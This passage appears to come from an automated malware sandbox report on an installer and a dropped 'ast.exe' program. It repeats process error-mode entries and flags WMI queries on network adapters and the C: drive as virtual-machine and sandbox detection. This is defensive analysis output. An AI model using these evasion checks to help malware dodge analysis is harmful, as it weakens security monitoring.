                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeProcess information set: FAILCRITICALERRORS | NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeProcess information set: FAILCRITICALERRORS | NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeProcess information set: FAILCRITICALERRORS | NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeProcess information set: FAILCRITICALERRORS | NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeProcess information set: FAILCRITICALERRORS | NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeProcess information set: FAILCRITICALERRORS | NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOXJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior

                          Malware Analysis System Evasion

                          barindex
                          Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_NetworkAdapter
                          Queries sensitive service information (via WMI, Win32_LogicalDisk, often done to detect sandboxes)
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_LogicalDisk WHERE Caption='C:'
